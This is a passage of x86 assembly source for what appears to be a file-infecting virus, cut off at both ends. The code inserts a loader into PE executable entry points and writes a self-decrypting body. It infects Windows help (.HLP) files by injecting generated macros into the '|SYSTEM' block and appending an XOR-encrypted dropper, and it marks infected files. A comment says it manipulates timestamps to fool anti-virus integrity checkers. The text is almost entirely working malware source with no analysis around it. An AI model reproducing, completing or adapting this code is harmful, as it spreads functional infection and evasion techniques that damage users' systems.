MIDDLE_INSERT:	MOV	ESI,EAX
		SUB	EAX,EDX
		SUB	EAX,LARGE MAIN_BUFF
		ADD	EAX,[OT_RVA.EDI]
		ADD	EAX,[ESP]
		SUB	EAX,[OT_PHYSICALOFF.EDI]
ENTRY_INSERT:	ADD	EAX,PHEADER[PEH_IMAGEBASE.EDX]
		MOV	INTRUD_OFF[EDX],EAX
		LEA	EDI,OLD_PECODE[EDX]
		PUSH	ESI
		XOR	ECX,ECX
		MOV	CL,LEN_LOADER
		REP	MOVSB
		CALL	SPE_THUNK
		POP	EDI
		LEA	ESI,SPE32_BUFF[EDX]
		REP	MOVSB
		POP	EAX
		LEA	ESI,MAIN_BUFF[EDX]
		MOV	CX,SIZE_MBUFF
		CALL	WRITE_FILE
GO1_INF_EXIT:	JB	INF_EXIT
		MOV	EDI,ESI
		MOV	ESI,EDX
		MOV	ECX,12345678H
		GOFF	CURRENT_LEN,4
		PUSH	ECX EDI
		REP	MOVSB
		POP	ESI ECX
		PUSH	ECX EBX
		MOV	EAX,12345678H
		GOFF	MASK_CR,4
		SHR	ECX,1
		GOFF	LOOP_CR
		SHR	ECX,1			;NOP/NOP
LOOP_CR_IMM:	SUB	EDI,4			;SUB EDI,2
		MOV	EBX,[EDI]
		DB	LEN_FILL_CRYPT DUP (90H)
		GOFF	END_LOOP_CR
		DB	90H			;66H
		MOV	[EDI],EBX
		LOOP	LOOP_CR_IMM
		POP	EBX ECX
		MOV	EAX,12345678H
		GOFF	PHYS_BODY_OFF,4
		CALL	WRITE_FILE
		LEA	ESI,PHEADER[EDX]
		MOV	AL,1 PTR [PEH_NUMOFOBJECT.ESI]
		IMUL	EAX,SIZE OBJECT_TABLE
		ADD	AX,SIZE PE_HEADER
		XCHG	EAX,ECX
		MOV	AX,[ESI.DOSH_LFANEW-SIZE DOS_HEADER]
		JMP	SET_WRITE_FILE

;------------------------------------------------
CORR_SIZE_ECX:	MOV	EAX,ECX
CORR_SIZE:	PUSH	EDX
		XOR	EDX,EDX
		DIV	[PEH_OBJALIGN.ESI]
		AND	EDX,EDX
		JE	NO_ALIGN
		INC	EAX
NO_ALIGN:	MUL	[PEH_OBJALIGN.ESI]
		POP	EDX
		MOV	[OT_VIRTSIZE.EDI],EAX
		RETN

;------------------------------------------------
MACRO_FNAME	PROC
		PUSH	ESI
		LEA	ESI,RDROP_NAME[EDX]
		MOV	EAX,'\:C'
		STOSD
		SHR	EAX,16
		STOSW
STORE_NLETT:	MOVSB
		CMP	1 ptr [esi],'.'
		JNE	STORE_NLETT
		MOV	EAX,'PMT.'
		GOFF	TEMP_EXT,3
		STOSD
		POP	ESI
INF_EXIT:	RET
		ENDP

;------------------------------------------------
		GOFF	INF_HLP
		DEC	EAX			;EAX = 0
		CALL	GET_RANDOM
		LEA	EDI,FIRST_DROP_MASK[EDX]
		STOSW
		SHR	EAX,16
		MOV	RELO_MASK2[EDI-2],AX
		LODSD				;HLP_HEADER
		CMP	EAX,HLP_MAGIC
		JNE	INF_EXIT
;1. READ BEGIN OF HLP-DIRECTORY
		LODSD				;HLP_START_DIRECTORYSTART
		MOV	EDI,ESI
		CMPSD				;LEA ESI,[ESI+SIZE HLP_START-8]
		CMPSD
		MOV	CH,LEN_HLP_DIR SHR 8	;CL=0
		CALL	READ_FILE
		JB	INF_EXIT
;2. FIND "|SYSTEM" STRING AND GET OFFSET
		MOV	AL,'|'
FIND_SYSTEM:	REPNE	SCASB
		JNE	INF_EXIT
		CMP	4 PTR [EDI],'TSYS'	;"|SYSTEM" BLOCK?
		JNE	FIND_SYSTEM
		XCHG	EAX,ECX
		MOV	CL,SIZE FILE_HEADER+SIZE SYSTEM_HEADER
		MOV	EAX,[ESI.HLP_START_ENTIREFILESIZE-SIZE HLP_START]
		XCHG	EAX,[EDI+7]		;STORE NEW "SYSTEM" OFFSET
;3. READ SYSTEM PAGE (LENGTH READ BEFORE)
		LEA	ESI,SYS_FILE_HEADER[EDX]
		LEA	EDI,[EAX+ECX]		;OFFSET "SYSTEM" DATA
		CALL	READ_FILE
		JB	INF_EXIT
		CMP	[ESI+(SIZE FILE_HEADER).SYSTEM_HEADER_MINOR],16
		JBE	INF_EXIT
;4. CHECK SECONDS IF FILE ALREADY INFECTED
		CMP	AL,1 PTR [ESI+(SIZE FILE_HEADER).SYSTEM_HEADER_GENDATE]
		JE	INF_EXIT
		MOV	1 PTR [ESI+(SIZE FILE_HEADER).SYSTEM_HEADER_GENDATE],AL
;5. GENERATE OUR MACROS
		PUSH	EDI
		LEA	EDI,[ESI+ECX]		;BUFF4MACRO
		CALL	GEN_MACROS		;EXIT: EAX=MACROLENGTH
;6. CORRECT USED "SYSTEM" LENGTH
		ADD	[ESI.FILE_HEADER_USEDSPACE],EAX
		ADD	[ESI.FILE_HEADER_RESERVEDSPACE],EAX
;7. WRITE MACRO HEADERS+OUR MACRO IN THE END OF MODULE
		LEA	ECX,[EAX+SIZE FILE_HEADER+SIZE SYSTEM_HEADER]
		CALL	HLP_WRITE_FILE
		POP	EDI
		JB	INF_EXIT
		LODSD				;FILE_HEADER_RESERVEDSPACE
		SUB	EAX,ECX
;8. REWRITE OLD "SYSTEM" DATA IN THE END OF MODULE
		MOV	CX,LEN_IOBUFF-4
WRITE_NEXT_BLK:	SUB	EAX,ECX
		JAE	IS_LONG_DATA
		ADD	ECX,EAX
		XOR	EAX,EAX
IS_LONG_DATA:	PUSH	EAX
		MOV	EAX,EDI
		ADD	EDI,ECX
		CALL	READ_FILE
		JB	EXIT_READWRITE
		CALL	HLP_WRITE_FILE
EXIT_READWRITE:	POP	EAX
		JB	WAS_ERROR
		AND	EAX,EAX
		JNE	WRITE_NEXT_BLK
;9. WRITE CORRECTED HLP_HEADER (VIA WRITE_FILE)
		LEA	ESI,HLP_HEADER[EDX]
		PUSH	SIZE HLP_START
		POP	ECX
		CALL	WRITE_FILE		;ASSUME THAT EAX=0
;10. CREATE AND WRITE ENCRYPTED DROPPER IN THE END OF FILE (VIA HLP_WRITE_FILE)
		CALL	SPE_THUNK		;ECX=LENGTH OF DROPPER
		PUSH	ECX ESI
		LEA	EDI,FIRST_DROP_MASK[EDX]
		MOV	AX,[EDI]
ENCRYPT_HDROP:	XOR	[ESI],AX
		ADD	AX,RELO_MASK2[EDI]
		INC	ESI
		LOOP	ENCRYPT_HDROP
		POP	ESI ECX
		CALL	HLP_WRITE_FILE
;11. WRITE HLP_DIRECTORY WITH CORRECTED OFFSET OF "SYSTEM" BLOCK
		LEA	ESI,HLP_DIRECTORY[EDX]
		MOV	EAX,[ESI.HLP_START_DIRECTORYSTART-SIZE HLP_START]
		MOV	CX,LEN_HLP_DIR AND 0FF00H

;------------------------------------------------
SET_WRITE_FILE:	CALL	SET_DATE
		JMP	WRITE_FILE

;------------------------------------------------
READ_FILE_BUFF_0:
		XOR	EAX,EAX
READ_FILE_BUFF:	LEA	ESI,MAIN_BUFF[EDX]
		MOV	CX,SIZE_MBUFF
		JMP	READ_FILE

;------------------------------------------------
ZIP_READ_FILE:	ADD	EAX,ZIP_CUR_OFF[EDX]
		MOV	ZIP_CUR_OFF[EDX],EAX
;ENTRY: EAX=POS,ECX=LENGTH,EBX=HANDLE,ESI=&BUFFER4READ
;EXIT: CF=1 IF ERROR AND EAX=ERROR CODE OR EAX=(REAL BYTES READ-LENGTH)
READ_FILE	PROC
		PUSH	EDX
		MOV	DX,R0_READFILE
GO_READ:	XCHG	EAX,EDX
		CALL	FILE_IO
		POP	EDX
		JB	WAS_ERROR
		SUB	EAX,ECX
WAS_ERROR:	RET
		ENDP

;------------------------------------------------
HLP_WRITE_FILE:	MOV	EAX,[HLP_HEADER.HLP_START_ENTIREFILESIZE][EDX]
		ADD	[HLP_HEADER.HLP_START_ENTIREFILESIZE][EDX],ECX

;------------------------------------------------
WRITE_FILE:	PUSH	EDX
		MOV	DX,R0_WRITEFILE
		JMP	GO_READ

;------------------------------------------------
SET_DATE:	XOR	1 PTR [ESP+8],1		;CHANGE TIME FOR FOOLING ADINF/AVPI
SET_TIME:	PUSH	EAX
		CALL	GET_SYS_TIME
		MOV	INF_TIME[EDX],EAX
		POP	EAX
		RETN

;------------------------------------------------
;ENTRY: EDI=&BUFFER FOR STORING MACROS
;EXIT: EAX=LENGTH OF MACRO
GEN_MACROS	PROC
		PUSH	EBX ESI EBP EDI
		LEA	EDI,TEMP_EXT[EDX]
		CALL	GEN_EXT			;EAX = 0
		LEA	EDI,RDROP_NAME[EDX]
		CALL	GEN_NAME
		MOV	EAX,'MOC.'
		STOSD
		XOR	AL,AL
		STOSB
		CALL	GET_RANDOM_MSK
		XCHG	EAX,ECX
		CALL	GET_RANDOM_MSK
		MOV	AH,CL
		ADD	AX,'AA'
		LEA	ESI,RUN_DROPPER[EDX]
		LEA	EDI,MAIN_BUFF[EDX]
		MOV	2 PTR DS:UU_MASK[ESI],AX
		MOV	CL,LEN_UUD
		REP	MOVSB
		MOV	CL,LEN_RDROP_CON
		XCHG	EAX,EBX
UUE_BYTE:	LODSB
		PUSH	EAX
		SHR	AL,4
		ADD	AL,BL
		STOSB
		POP	EAX
		AND	AL,0FH
		ADD	AL,BH
		STOSB
		LOOP	UUE_BYTE
		POP	EDI
		PUSH	EDI
		LEA	ESI,RR_MACRO[EDX]
		CALL	HLP_STORE
		LEA	ESI,MAIN_BUFF[EDX]
		XOR	EBP,EBP			;FIRST ITERATION
		MOV	EBX,(LEN_UUD+2*LEN_RDROP_CON) ;LENGTH OF MACROS
NEXT_ITER:	PUSH	ESI
		CALL	HLP_STORE_DROP
		DEC	EDI			;SKIP '
 
